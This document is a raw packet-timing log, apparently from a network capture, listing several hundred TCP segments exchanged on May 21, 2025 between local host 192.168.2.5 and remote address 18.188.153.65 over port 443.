May 21, 2025 21:47:59.924953938 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.925004005 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.926233053 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.927486897 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.927560091 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.928715944 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.928790092 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.928849936 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.928854942 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.928905964 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.928951025 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.928960085 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.929034948 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.929078102 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.929088116 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.929141998 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.929193974 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.929231882 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.929244995 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.929291010 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.929300070 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.929352045 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.929402113 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.929442883 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.929455042 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.929497957 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.929508924 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.929558992 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.929609060 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.929649115 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.929660082 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.929702997 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.929711103 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.929763079 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.929804087 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.929812908 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.929863930 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.929913044 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.929914951 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.929968119 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.930011034 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.930021048 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.930088043 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.930138111 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.930146933 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.930197001 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.930238962 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.930248022 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.930299997 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.930344105 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.931148052 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.931320906 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.931371927 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.931397915 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.931466103 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.931513071 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.931768894 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.931834936 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.931875944 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.931890011 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.931941986 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.931983948 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.931993961 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.932046890 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.932097912 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.932143927 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.932152987 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.932197094 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.932231903 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.932300091 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.932353020 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.932365894 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.932406902 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.932512999 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.932559967 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.932560921 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.932602882 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.933383942 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.933444023 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.933501005 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.933545113 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.933554888 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.933593988 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.933607101 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.933659077 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.933701038 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.933710098 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.933760881 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.933809996 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.933854103 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.933861971 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.933912039 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.933927059 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.933978081 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.934026957 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.934070110 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.934079885 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.934129000 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.934133053 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.934189081 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.934231043 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.934240103 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.934290886 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.934360027 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.934401035 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.934412003 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.934453011 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.934465885 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.934515953 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.934565067 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.934597969 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.934616089 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.934657097 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.934667110 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.934716940 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.934766054 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.934776068 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.934815884 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.934866905 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.934886932 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.934922934 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.934973001 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.935013056 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.935024977 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.935090065 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.935101032 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.935153008 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.935194016 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.935205936 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.935256004 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.935306072 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.935348034 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.935358047 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.935399055 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.935424089 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.935477018 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.935683012 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.937494993 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.937591076 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.937642097 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.937650919 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.937705040 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.937762976 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.937814951 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.937817097 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.937855959 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.937871933 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.937922001 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.937968969 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.937971115 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.938299894 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.938347101 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.938534975 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.938616037 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.938664913 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.938673973 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.938726902 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.938777924 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.938785076 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.938828945 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.938884974 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.941265106 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.943813086 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.943826914 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.944583893 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.944590092 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.986313105 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.986320019 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.986612082 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.986617088 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.986994982 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.987000942 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.987597942 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.987602949 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:47:59.987910986 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:47:59.987915039 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.000545025 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.000550032 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.060425043 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.060431004 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.060741901 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.060745955 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.060997963 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.061002016 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.061255932 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.061261892 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.061463118 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.061465979 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.073714972 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.073714972 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.073719978 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.073734045 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.156723976 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.157002926 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.157207012 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.157812119 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.157874107 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.157923937 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.157972097 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.157977104 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.158015966 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.158020973 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.158078909 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.158132076 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.158183098 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.158185959 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.158231020 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.158241987 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.158304930 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.158356905 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.158358097 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.158412933 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.158463001 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.158466101 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.158519983 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.158569098 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.158579111 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.158632994 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.158684015 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.158709049 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.158739090 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.158790112 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.158811092 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.158837080 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.158885002 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.158905983 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.158934116 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.158991098 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.158993959 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.159043074 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.159087896 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.159118891 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.159135103 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.159181118 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.159183025 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.159229040 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.159276962 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.159277916 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.159324884 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.159370899 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.159401894 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.159415960 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.159460068 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.159465075 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.159512043 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.159557104 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.159558058 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.159605026 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.159650087 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.159681082 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.159696102 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.159738064 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.159743071 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.159790039 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.159835100 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.159836054 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.159882069 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.159926891 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.159929037 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.159975052 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.160020113 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.160021067 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.160072088 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.160116911 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.160137892 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.160185099 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.160238981 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.160252094 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.161355019 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.161406994 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.161417007 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.161463976 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.161509037 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.161554098 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.161554098 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.161598921 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.163680077 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.164738894 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.164810896 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.164906979 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.164961100 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165005922 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165050983 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165060997 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.165093899 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165093899 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.165141106 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165184975 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165226936 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165230036 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.165268898 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165271044 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.165312052 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165353060 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165390968 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165431023 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165436983 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.165437937 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.165471077 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165510893 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165546894 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.165554047 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165596008 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.165596962 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165640116 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165678024 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165719986 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165735006 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.165760040 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165760994 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.165802956 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165844917 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165884972 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165889025 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.165925980 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.165930986 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.165973902 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.166013956 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.166053057 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.166074038 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.166091919 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.166094065 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.166147947 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.166189909 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.166229010 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.166232109 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.166269064 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.166270971 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.166311979 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.166351080 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.166389942 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.166399002 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.166429043 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.166429996 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.166472912 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.166512966 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.166552067 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.166559935 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.166593075 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.166594982 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.166635990 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.166675091 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.166713953 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.166718006 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.166754961 CEST	49701	443	192.168.2.5	18.188.153.65
May 21, 2025 21:48:00.166758060 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.167999983 CEST	443	49701	18.188.153.65	192.168.2.5
May 21, 2025 21:48:00.168070078 CEST	443	49701	18.188.153.65	192.168.2.5
